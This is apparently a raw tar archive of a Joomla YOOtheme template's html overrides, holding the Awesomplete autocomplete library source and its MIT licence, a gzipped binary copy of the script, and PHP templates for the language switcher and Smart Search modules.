U4B,GAC1B,MAAOA,GAAE7G,QAAQ,uBAAwB,SAG1C7B,EAAEwG,aAAe,SAAUxB,GAE1B,IAAK,GAAIxF,GAAI,EAAGwF,EAAKA,EAAG2D,uBAAwBnJ,KAChD,MAAOA,IAYY,mBAAToJ,QACVA,KAAKC,YAAclI,GAII,mBAAbmI,YAEkB,YAAxB3I,SAAS4I,WACZtI,IAIAN,SAASgI,iBAAiB,mBAAoB1H,IAIhDE,EAAEX,EAAIA,EACNW,EAAEN,GAAKA,EAGe,gBAAX2I,SAAuBA,OAAOC,UACxCD,OAAOC,QAAUtI","file":"awesomplete.min.js","sourcesContent":["/**\n * Simple, lightweight, usable local autocomplete library for modern browsers\n * Because there weren’t enough autocomplete scripts in the world? Because I’m completely insane and have NIH syndrome? Probably both. :P\n * @author Lea Verou http://leaverou.github.io/awesomplete\n * MIT license\n */\n\n(function () {\n\nvar _ = function (input, o) {\n\tvar me = this;\n\n // Keep track of number of instances for unique IDs\n _.count = (_.count || 0) + 1;\n this.count = _.count;\n\n\t// Setup\n\n\tthis.isOpened = false;\n\n\tthis.input = $(input);\n\tthis.input.setAttribute(\"autocomplete\", \"off\");\n\tthis.input.setAttribute(\"aria-expanded\", \"false\");\n\tthis.input.setAttribute(\"aria-owns\", \"awesomplete_list_\" + this.count);\n\tthis.input.setAttribute(\"role\", \"combobox\");\n\n\t// store constructor options in case we need to distinguish\n\t// between default and customized behavior later on\n\tthis.options = o = o || {};\n\n\tconfigure(this, {\n\t\tminChars: 2,\n\t\tmaxItems: 10,\n\t\tautoFirst: false,\n\t\tdata: _.DATA,\n\t\tfilter: _.FILTER_CONTAINS,\n\t\tsort: o.sort === false ? false : _.SORT_BYLENGTH,\n\t\tcontainer: _.CONTAINER,\n\t\titem: _.ITEM,\n\t\treplace: _.REPLACE,\n\t\ttabSelect: false\n\t}, o);\n\n\tthis.index = -1;\n\n\t// Create necessary elements\n\n\tthis.container = this.container(input);\n\n\tthis.ul = $.create(\"ul\", {\n\t\thidden: \"hidden\",\n role: \"listbox\",\n id: \"awesomplete_list_\" + this.count,\n\t\tinside: this.container\n\t});\n\n\tthis.status = $.create(\"span\", {\n\t\tclassName: \"visually-hidden\",\n\t\trole: \"status\",\n\t\t\"aria-live\": \"assertive\",\n \"aria-atomic\": true,\n inside: this.container,\n textContent: this.minChars != 0 ? (\"Type \" + this.minChars + \" or more characters for results.\") : \"Begin typing for results.\"\n\t});\n\n\t// Bind events\n\n\tthis._events = {\n\t\tinput: {\n\t\t\t\"input\": this.evaluate.bind(this),\n\t\t\t\"blur\": this.close.bind(this, { reason: \"blur\" }),\n\t\t\t\"keydown\": function(evt) {\n\t\t\t\tvar c = evt.keyCode;\n\n\t\t\t\t// If the dropdown `ul` is in view, then act on keydown for the following keys:\n\t\t\t\t// Enter / Esc / Up / Down\n\t\t\t\tif(me.opened) {\n\t\t\t\t\tif (c === 13 && me.selected) { // Enter\n\t\t\t\t\t\tevt.preventDefault();\n\t\t\t\t\t\tme.select();\n\t\t\t\t\t}\n\t\t\t\t\telse if (c === 9 && me.selected && me.tabSelect) {\n\t\t\t\t\t\tme.select();\n\t\t\t\t\t}\n\t\t\t\t\telse if (c === 27) { // Esc\n\t\t\t\t\t\tme.close({ reason: \"esc\" });\n\t\t\t\t\t}\n\t\t\t\t\telse if (c === 38 || c === 40) { // Down/Up arrow\n\t\t\t\t\t\tevt.preventDefault();\n\t\t\t\t\t\tme[c === 38? \"previous\" : \"next\"]();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\tform: {\n\t\t\t\"submit\": this.close.bind(this, { reason: \"submit\" })\n\t\t},\n\t\tul: {\n\t\t\t// Prevent the default mousedowm, which ensures the input is not blurred.\n\t\t\t// The actual selection will happen on click. This also ensures dragging the\n\t\t\t// cursor away from the list item will cancel the selection\n\t\t\t\"mousedown\": function(evt) {\n\t\t\t\tevt.preventDefault();\n\t\t\t},\n\t\t\t// The click event is fired even if the corresponding mousedown event has called preventDefault\n\t\t\t\"click\": function(evt) {\n\t\t\t\tvar li = evt.target;\n\n\t\t\t\tif (li !== this) {\n\n\t\t\t\t\twhile (li && !/li/i.test(li.nodeName)) {\n\t\t\t\t\t\tli = li.parentNode;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (li && evt.button === 0) { // Only select on left click\n\t\t\t\t\t\tevt.preventDefault();\n\t\t\t\t\t\tme.select(li, evt.target);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n\n\t$.bind(this.input, this._events.input);\n\t$.bind(this.input.form, this._events.form);\n\t$.bind(this.ul, this._events.ul);\n\n\tif (this.input.hasAttribute(\"list\")) {\n\t\tthis.list = \"#\" + this.input.getAttribute(\"list\");\n\t\tthis.input.removeAttribute(\"list\");\n\t}\n\telse {\n\t\tthis.list = this.input.getAttribute(\"data-list\") || o.list || [];\n\t}\n\n\t_.all.push(this);\n};\n\n_.prototype = {\n\tset list(list) {\n\t\tif (Array.isArray(list)) {\n\t\t\tthis._list = list;\n\t\t}\n\t\telse if (typeof list === \"string\" && list.indexOf(\",\") > -1) {\n\t\t\t\tthis._list = list.split(/\\s*,\\s*/);\n\t\t}\n\t\telse { // Element or CSS selector\n\t\t\tlist = $(list);\n\n\t\t\tif (list && list.children) {\n\t\t\t\tvar items = [];\n\t\t\t\tslice.apply(list.children).forEach(function (el) {\n\t\t\t\t\tif (!el.disabled) {\n\t\t\t\t\t\tvar text = el.textContent.trim();\n\t\t\t\t\t\tvar value = el.value || text;\n\t\t\t\t\t\tvar label = el.label || text;\n\t\t\t\t\t\tif (value !== \"\") {\n\t\t\t\t\t\t\titems.push({ label: label, value: value });\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\tthis._list = items;\n\t\t\t}\n\t\t}\n\n\t\tif (document.activeElement === this.input) {\n\t\t\tthis.evaluate();\n\t\t}\n\t},\n\n\tget selected() {\n\t\treturn this.index > -1;\n\t},\n\n\tget opened() {\n\t\treturn this.isOpened;\n\t},\n\n\tclose: function (o) {\n\t\tif (!this.opened) {\n\t\t\treturn;\n\t\t}\n\n\t\tthis.input.setAttribute(\"aria-expanded\", \"false\");\n\t\tthis.ul.setAttribute(\"hidden\", \"\");\n\t\tthis.isOpened = false;\n\t\tthis.index = -1;\n\n\t\tthis.status.setAttribute(\"hidden\", \"\");\n\n\t\t$.fire(this.input, \"awesomplete-close\", o || {});\n\t},\n\n\topen: function () {\n\t\tthis.input.setAttribute(\"aria-expanded\", \"true\");\n\t\tthis.ul.removeAttribute(\"hidden\");\n\t\tthis.isOpened = true;\n\n\t\tthis.status.removeAttribute(\"hidden\");\n\n\t\tif (this.autoFirst && this.index === -1) {\n\t\t\tthis.goto(0);\n\t\t}\n\n\t\t$.fire(this.input, \"awesomplete-open\");\n\t},\n\n\tdestroy: function() {\n\t\t//remove events from the input and its form\n\t\t$.unbind(this.input, this._events.input);\n\t\t$.unbind(this.input.form, this._events.form);\n\n\t\t// cleanup container if it was created by Awesomplete but leave it alone otherwise\n\t\tif (!this.options.container) {\n\t\t\t//move the input out of the awesomplete container and remove the container and its children\n\t\t\tvar parentNode = this.container.parentNode;\n\n\t\t\tparentNode.insertBefore(this.input, this.container);\n\t\t\tparentNode.removeChild(this.container);\n\t\t}\n\n\t\t//remove autocomplete and aria-autocomplete attributes\n\t\tthis.input.removeAttribute(\"autocomplete\");\n\t\tthis.input.removeAttribute(\"aria-autocomplete\");\n\n\t\t//remove this awesomeplete instance from the global array of instances\n\t\tvar indexOfAwesomplete = _.all.indexOf(this);\n\n\t\tif (indexOfAwesomplete !== -1) {\n\t\t\t_.all.splice(indexOfAwesomplete, 1);\n\t\t}\n\t},\n\n\tnext: function () {\n\t\tvar count = this.ul.children.length;\n\t\tthis.goto(this.index < count - 1 ? this.index + 1 : (count ? 0 : -1) );\n\t},\n\n\tprevious: function () {\n\t\tvar count = this.ul.children.length;\n\t\tvar pos = this.index - 1;\n\n\t\tthis.goto(this.selected && pos !== -1 ? pos : count - 1);\n\t},\n\n\t// Should not be used, highlights specific item without any checks!\n\tgoto: function (i) {\n\t\tvar lis = this.ul.children;\n\n\t\tif (this.selected) {\n\t\t\tlis[this.index].setAttribute(\"aria-selected\", \"false\");\n\t\t}\n\n\t\tthis.index = i;\n\n\t\tif (i > -1 && lis.length > 0) {\n\t\t\tlis[i].setAttribute(\"aria-selected\", \"true\");\n\n\t\t\tthis.status.textContent = lis[i].textContent + \", list item \" + (i + 1) + \" of \" + lis.length;\n\n this.input.setAttribute(\"aria-activedescendant\", this.ul.id + \"_item_\" + this.index);\n\n\t\t\t// scroll to highlighted element in case parent's height is fixed\n\t\t\tthis.ul.scrollTop = lis[i].offsetTop - this.ul.clientHeight + lis[i].clientHeight;\n\n\t\t\t$.fire(this.input, \"awesomplete-highlight\", {\n\t\t\t\ttext: this.suggestions[this.index]\n\t\t\t});\n\t\t}\n\t},\n\n\tselect: function (selected, origin) {\n\t\tif (selected) {\n\t\t\tthis.index = $.siblingIndex(selected);\n\t\t} else {\n\t\t\tselected = this.ul.children[this.index];\n\t\t}\n\n\t\tif (selected) {\n\t\t\tvar suggestion = this.suggestions[this.index];\n\n\t\t\tvar allowed = $.fire(this.input, \"awesomplete-select\", {\n\t\t\t\ttext: suggestion,\n\t\t\t\torigin: origin || selected\n\t\t\t});\n\n\t\t\tif (allowed) {\n\t\t\t\tthis.replace(suggestion);\n\t\t\t\tthis.close({ reason: \"select\" });\n\t\t\t\t$.fire(this.input, \"awesomplete-selectcomplete\", {\n\t\t\t\t\ttext: suggestion\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t},\n\n\tevaluate: function() {\n\t\tvar me = this;\n\t\tvar value = this.input.value;\n\n\t\tif (value.length >= this.minChars && this._list && this._list.length > 0) {\n\t\t\tthis.index = -1;\n\t\t\t// Populate list with options that match\n\t\t\tthis.ul.innerHTML = \"\";\n\n\t\t\tthis.suggestions = this._list\n\t\t\t\t.map(function(item) {\n\t\t\t\t\treturn new Suggestion(me.data(item, value));\n\t\t\t\t})\n\t\t\t\t.filter(function(item) {\n\t\t\t\t\treturn me.filter(item, value);\n\t\t\t\t});\n\n\t\t\tif (this.sort !== false) {\n\t\t\t\tthis.suggestions = this.suggestions.sort(this.sort);\n\t\t\t}\n\n\t\t\tthis.suggestions = this.suggestions.slice(0, this.maxItems);\n\n\t\t\tthis.suggestions.forEach(function(text, index) {\n\t\t\t\t\tme.ul.appendChild(me.item(text, value, index));\n\t\t\t\t});\n\n\t\t\tif (this.ul.children.length === 0) {\n\n this.status.textContent = \"No results found\";\n\n\t\t\t\tthis.close({ reason: \"nomatches\" });\n\n\t\t\t} else {\n\t\t\t\tthis.open();\n\n this.status.textContent = this.ul.children.length + \" results found\";\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tthis.close({ reason: \"nomatches\" });\n\n this.status.textContent = \"No results found\";\n\t\t}\n\t}\n};\n\n// Static methods/properties\n\n_.all = [];\n\n_.FILTER_CONTAINS = function (text, input) {\n\treturn RegExp($.regExpEscape(input.trim()), \"i\").test(text);\n};\n\n_.FILTER_STARTSWITH = function (text, input) {\n\treturn RegExp(\"^\" + $.regExpEscape(input.trim()), \"i\").test(text);\n};\n\n_.SORT_BYLENGTH = function (a, b) {\n\tif (a.length !== b.length) {\n\t\treturn a.length - b.length;\n\t}\n\n\treturn a < b? -1 : 1;\n};\n\n_.CONTAINER = function (input) {\n\treturn $.create(\"div\", {\n\t\tclassName: \"awesomplete\",\n\t\taround: input\n\t});\n}\n\n_.ITEM = function (text, input, item_id) {\n\tvar html = input.trim() === \"\" ? text : text.replace(RegExp($.regExpEscape(input.trim()), \"gi\"), \"<mark>$&</mark>\");\n\treturn $.create(\"li\", {\n\t\tinnerHTML: html,\n\t\t\"role\": \"option\",\n\t\t\"aria-selected\": \"false\",\n\t\t\"id\": \"awesomplete_list_\" + this.count + \"_item_\" + item_id\n\t});\n};\n\n_.REPLACE = function (text) {\n\tthis.input.value = text.value;\n};\n\n_.DATA = function (item/*, input*/) { return item; };\n\n// Private functions\n\nfunction Suggestion(data) {\n\tvar o = Array.isArray(data)\n\t ? { label: data[0], value: data[1] }\n\t : typeof data === \"object\" && \"label\" in data && \"value\" in data ? data : { label: data, value: data };\n\n\tthis.label = o.label || o.value;\n\tthis.value = o.value;\n}\nObject.defineProperty(Suggestion.prototype = Object.create(String.prototype), \"length\", {\n\tget: function() { return this.label.length; }\n});\nSuggestion.prototype.toString = Suggestion.prototype.valueOf = function () {\n\treturn \"\" + this.label;\n};\n\nfunction configure(instance, properties, o) {\n\tfor (var i in properties) {\n\t\tvar initial = properties[i],\n\t\t attrValue = instance.input.getAttribute(\"data-\" + i.toLowerCase());\n\n\t\tif (typeof initial === \"number\") {\n\t\t\tinstance[i] = parseInt(attrValue);\n\t\t}\n\t\telse if (initial === false) { // Boolean options must be false by default anyway\n\t\t\tinstance[i] = attrValue !== null;\n\t\t}\n\t\telse if (initial instanceof Function) {\n\t\t\tinstance[i] = null;\n\t\t}\n\t\telse {\n\t\t\tinstance[i] = attrValue;\n\t\t}\n\n\t\tif (!instance[i] && instance[i] !== 0) {\n\t\t\tinstance[i] = (i in o)? o[i] : initial;\n\t\t}\n\t}\n}\n\n// Helpers\n\nvar slice = Array.prototype.slice;\n\nfunction $(expr, con) {\n\treturn typeof expr === \"string\"? (con || document).querySelector(expr) : expr || null;\n}\n\nfunction $$(expr, con) {\n\treturn slice.call((con || document).querySelectorAll(expr));\n}\n\n$.create = function(tag, o) {\n\tvar element = document.createElement(tag);\n\n\tfor (var i in o) {\n\t\tvar val = o[i];\n\n\t\tif (i === \"inside\") {\n\t\t\t$(val).appendChild(element);\n\t\t}\n\t\telse if (i === \"around\") {\n\t\t\tvar ref = $(val);\n\t\t\tref.parentNode.insertBefore(element, ref);\n\t\t\telement.appendChild(ref);\n\n\t\t\tif (ref.getAttribute(\"autofocus\") != null) {\n\t\t\t\tref.focus();\n\t\t\t}\n\t\t}\n\t\telse if (i in element) {\n\t\t\telement[i] = val;\n\t\t}\n\t\telse {\n\t\t\telement.setAttribute(i, val);\n\t\t}\n\t}\n\n\treturn element;\n};\n\n$.bind = function(element, o) {\n\tif (element) {\n\t\tfor (var event in o) {\n\t\t\tvar callback = o[event];\n\n\t\t\tevent.split(/\\s+/).forEach(function (event) {\n\t\t\t\telement.addEventListener(event, callback);\n\t\t\t});\n\t\t}\n\t}\n};\n\n$.unbind = function(element, o) {\n\tif (element) {\n\t\tfor (var event in o) {\n\t\t\tvar callback = o[event];\n\n\t\t\tevent.split(/\\s+/).forEach(function(event) {\n\t\t\t\telement.removeEventListener(event, callback);\n\t\t\t});\n\t\t}\n\t}\n};\n\n$.fire = function(target, type, properties) {\n\tvar evt = document.createEvent(\"HTMLEvents\");\n\n\tevt.initEvent(type, true, true );\n\n\tfor (var j in properties) {\n\t\tevt[j] = properties[j];\n\t}\n\n\treturn target.dispatchEvent(evt);\n};\n\n$.regExpEscape = function (s) {\n\treturn s.replace(/[-\\\\^$*+?.()|[\\]{}]/g, \"\\\\$&\");\n};\n\n$.siblingIndex = function (el) {\n\t/* eslint-disable no-cond-assign */\n\tfor (var i = 0; el = el.previousElementSibling; i++);\n\treturn i;\n};\n\n// Initialization\n\nfunction init() {\n\t$$(\"input.awesomplete\").forEach(function (input) {\n\t\tnew _(input);\n\t});\n}\n\n// Make sure to export Awesomplete on self when in a browser\nif (typeof self !== \"undefined\") {\n\tself.Awesomplete = _;\n}\n\n// Are we in a browser? Check for Document constructor\nif (typeof Document !== \"undefined\") {\n\t// DOM already loaded?\n\tif (document.readyState !== \"loading\") {\n\t\tinit();\n\t}\n\telse {\n\t\t// Wait for it\n\t\tdocument.addEventListener(\"DOMContentLoaded\", init);\n\t}\n}\n\n_.$ = $;\n_.$$ = $$;\n\n// Expose Awesomplete as a CJS module\nif (typeof module === \"object\" && module.exports) {\n\tmodule.exports = _;\n}\n\nreturn _;\n\n}());\n"]}com_finder/assets/awesomplete/js/awesomplete.min.js.gz000060400000005275151666571470017227 0ustar00��Ymo�8��_asCZӊ�=��F6M��d���pH��,� �2�#�4��~3$�f;/8�>����p^��a:�?��ˌi�tNY�'�y��N���'L(��;/D�y.<U>v����C,;,:�2~ �2��<Ye�e���Ї8+<�n6!�g�D�(�OK��;��#��pa^�y��dS�،�=W�Y���]�Y`���3��[�T�2OSF9��K�8�YTĮ� ���X:�c�Pk�g�fIcH_:?�0y+���b1c�VFM4�T�DhO�awE�[E�u�H� �V: ~�ʼnXӄ�IR�Y����>y��ϡ�7��U�W��B �@|q�0��c�u�'ł ��)�|�dx,��P��xx�O4�u� ���{��!lk߯(��kҸ4���8�����P�G%�t���M*JG���2H�B��s`$�?���;n�.qu�d��Q���"���xT��q����|>'/QK��2)K�|g���A�C( n��6�Jߒ~��<d��h �,���q���"��z����LW.��!4�_�"~<�l��ѐ��_�Tb�b��2�|8=�s�i&��������lzxrvIU.�BY������bz�ۿO��>�J�\���r8N��ߨd�,N�^�~zxtLu<���7��R�=F�ʹ�o�~�<Yd�b�O����i�DH�/�h�����d�������<�i�q�A�B5�Tpj��J��8ꁫ2�iЖ�~���H�# �RLj|v��<!aw�_�٣>�7H�pصf)=!S��Ӧ\�N.;�\�N�qNVHȎd�ȴ @���B��0��Wj~��L�Ld���l1�^�F0����,+��=�Uc���*! ��ΞRȌ�� ������1�1�{=o���z�>,�x:XJ#�g6�Anϧ�6w���/IM��W$�8��JV�5��k�p����|��WÄ���!�6r��S��"\�b��Y"8zC�,\-��1֮�@)��פ:�P��|�1P�x��1��=�4S�c��cL�c+,�98����LL:�<�ڝ��x���V��%� �ȢM�+m�"kSYQ�c�@T�~�O���\��k,y��d����a��Yn�Ͱ�P� �z}mI�,uosi�o)s�ce�VP:H�>'n�b���=fP�:@���zڂ�9�R��Z�j�q�\��)�;�+^�-�>rH�y�BX��uu3x��@�zso�N]�\ų�����.�I�M�^s =A��1!X�z=f��G�GyS�Q�m�f& �=��EQ�O�X�0��s�<��G�+X�Y��&q �%$z;ym w�5E�E]�RE�nKԬ��8���s.Y3c�Ut`�"Tc�9NQ��1C�Y--��V;��d��j���Ϫ���jσA��� ټ�Z���M.e��T���x���=t�f�Ww6y�V��l�ul5~c���Ts�%�a�z[������A�����iя-�X�+����x0�U��!.%��L�u�i�� |J 2&��vn��z0�ԯ�Q�'�p�����(k��`�}^�}X�&�ݙ��d_��:e�Ņ]է��K��tw@���l!vZ�? ���k��9���ّ��X�j�U�hN=��ؔ��<����b5�Y�DM*��i��"�۪n�n \L��Φ���c���Ae܌��_���}C�\y �(CB�Pg[�Uqw��I�t��FkȆ�q��Ѝ ��B�Y�_ʹ� M��Ō�^:��2V�RAs�a*���_'7�y��(;�W����;tc:��ng�� ʛM�)����H����s�oO9ĸ�w_��N#₭aԨ�h/�FTu/7���&���Z�� ��9rV�A�%5Ӷ=���~�Ы>�}��O���Y��~��}��v�^R�`"� ��Z�����{���� �h!R�7�D��ur�ĚzU�=�LψX�>�����c@����~�v%j#���vw���B��c��K�y�!�)�ķc��75�������_'ӯ/�%���Y�nz��-� �Z��rmP���#�F��V�Dўd�oWR�о\i�*�X�}C�1r�5SK<*�p�80��;$Gu���·W=pv���"��?��}<0�d�{l�V^�T�3t���{��� ���7�v���s���>�� =7��A����.!m�~2#|9e: g�K3<�۠��)���&J7�3�9�9����2���F��y�Ï8���*�����ƥ��"�V�j��4n���?�Ɵ $��oJ����`Q>����=Q���Ƥ%\Y9���o��Pga�m1��|��[�9���<0�0��Ӎ�b"@�H���F) �{Y���h� �K;�c�P] ����o��4=Ɖ���M-�!��՜�8����H�s�,<��`��c����0 �fw�/�7V�-$�\-�\�A�ƒ��Y������?�'�篯�oV���;J�������[�J�X4��^����~7f��_J�A l ��[�}�es�=�'h��0�1q�ggK��dy������`���J&�@Ԇ�M�v̐���\==>8u(�\��8��>t�/��<-2��o���A�@������Qy!� RD���i�@dl!�?�-Z��/�U8com_finder/assets/awesomplete/LICENSE000060400000002065151666571470013526 0ustar00The MIT License (MIT) Copyright (c) 2015 Lea Verou Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. mod_languages/default.php000060400000006173151666571470011533 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Uri\Uri; HTMLHelper::_('stylesheet', 'mod_languages/template.css', ['version' => 'auto', 'relative' => true]); $baseUrl = Uri::getInstance(); ?> <div class="uk-panel mod-languages"> <?php if ($headerText) : ?> <p><?= $headerText ?></p> <?php endif ?> <?php if ($params->get('dropdown', 0)) : ?> <div class="uk-inline"> <?php foreach ($list as $language) : ?> <?php if ($language->active) : ?> <a tabindex="0"> <?php if ($params->get('dropdownimage', 1) && $language->image) : ?> <?= HTMLHelper::_('image', 'mod_languages/' . $language->image . '.gif', '', null, true) ?> <?php endif ?> <?= $language->title_native ?> </a> <?php endif ?> <?php endforeach ?> <div uk-dropdown="mode: click"> <ul class="uk-nav uk-dropdown-nav"> <?php foreach ($list as $language) : ?> <?php if (!$language->active || $params->get('show_active', 1)) : ?> <li <?= $language->active ? 'class="uk-active"' : ''?>> <a href="<?= htmlspecialchars_decode(htmlspecialchars(!$language->active ? $language->link : $baseUrl, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES) ?>"> <?php if ($params->get('dropdownimage', 1) && $language->image) : ?> <?= HTMLHelper::_('image', 'mod_languages/' . $language->image . '.gif', '', null, true) ?> <?php endif ?> <?= $language->title_native ?> </a> </li> <?php endif ?> <?php endforeach ?> </ul> </div> </div> <?php else : ?> <ul class="<?= $params->get('inline', 1) ? 'uk-subnav' : 'uk-nav uk-nav-default' ?>"> <?php foreach ($list as $language) : ?> <?php if (!$language->active || $params->get('show_active', 1)) : ?> <li <?= $language->active ? 'class="uk-active"' : ''?>> <a style="display: flex !important;" href="<?= htmlspecialchars_decode(htmlspecialchars(!$language->active ? $language->link : $baseUrl, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES) ?>"> <?php if ($params->get('image', 1) && $language->image) : ?> <?= HTMLHelper::_('image', 'mod_languages/' . $language->image . '.gif', $language->title_native, ['title' => $language->title_native], true) ?> <?php else : ?> <?= $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef) ?> <?php endif ?> </a> </li> <?php endif ?> <?php endforeach ?> </ul> <?php endif ?> <?php if ($footerText) : ?> <p><?= $footerText ?></p> <?php endif ?> </div> mod_finder/default.php000060400000006007151666571470011030 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; use YOOtheme\Builder\Templates\TemplateHelper; /** * @var Config $config * @var View $view * @var TemplateHelper $templates */ [$config, $view, $templates] = app(Config::class, View::class, TemplateHelper::class); $liveSearch = preg_match('/^(logo|navbar|header)/', $module->position) && $templates->match([ 'type' => '_search', 'query' => ['lang' => $app->getDocument()->language], ]); $autosuggest = !$liveSearch && $params->get('show_autosuggest', 1); $fields = [[ 'tag' => 'input', 'name' => 'q', 'class' => $autosuggest ? ['js-finder-search-query'] : [], 'value' => $app->input->getCmd('option') === 'com_finder' ? urldecode($app->input->getString('q', '')) : false, 'placeholder' => Text::_('TPL_YOOTHEME_SEARCH'), 'required' => true, 'aria-label' => Text::_('TPL_YOOTHEME_SEARCH'), ]]; $uri = Uri::getInstance(Route::_($route)); $uri->delVar('q'); $query = $uri->getQuery(true); // Search Filter if ($filter = $config('~theme.com_finder_filter')) { $query += ['f' => $filter]; } // Create hidden input elements for each part of the URI. foreach ($query as $name => $value) { $fields[] = ['tag' => 'input', 'type' => 'hidden', 'name' => $name, 'value' => $value]; } echo $view('~theme/templates/search', [ 'position' => $module->position, 'tag' => $module->attrs, 'attrs' => [ 'id' => "search-{$module->id}", 'action' => Route::_($route), 'method' => 'get', 'role' => 'search', 'class' => ['js-finder-searchform'], ], 'fields' => $fields, 'iconClass' => [ 'uk-position-z-index' => $autosuggest, // Needed because of `awesomplete` HTML class has a `z-index` ], 'language' => $app->getDocument()->language, ]); // This segment of code sets up the autocompleter. if ($autosuggest) { $document = $app->getDocument(); if (version_compare(JVERSION, '4.0', '<')) { HTMLHelper::_('behavior.core'); $document->addScript( Url::to(Path::get('~theme/html/com_finder/assets/awesomplete/js/awesomplete.min.js')), ['version' => 'auto'] ); $document->addScript( Url::to(Path::get('~theme/html/com_finder/assets/com_finder/js/finder.min.js')), ['version' => 'auto'], ['defer' => true] ); } else { $assetManager = $document->getWebAssetManager(); $assetManager->usePreset('awesomplete'); $assetManager->disableStyle('awesomplete'); $assetManager->getRegistry()->addExtensionRegistryFile('com_finder'); $assetManager->useScript('com_finder.finder'); Text::script('JLIB_JS_AJAX_ERROR_OTHER'); Text::script('JLIB_JS_AJAX_ERROR_PARSE'); } $document->addScriptOptions('finder-search', ['url' => Route::_('index.php?option=com_finder&task=suggestions.suggest&format=json&tmpl=component')]); }
/home/opticamezl/www/newok/07d6c/../c9989/../libraries/../media/breezingforms/../../html.tar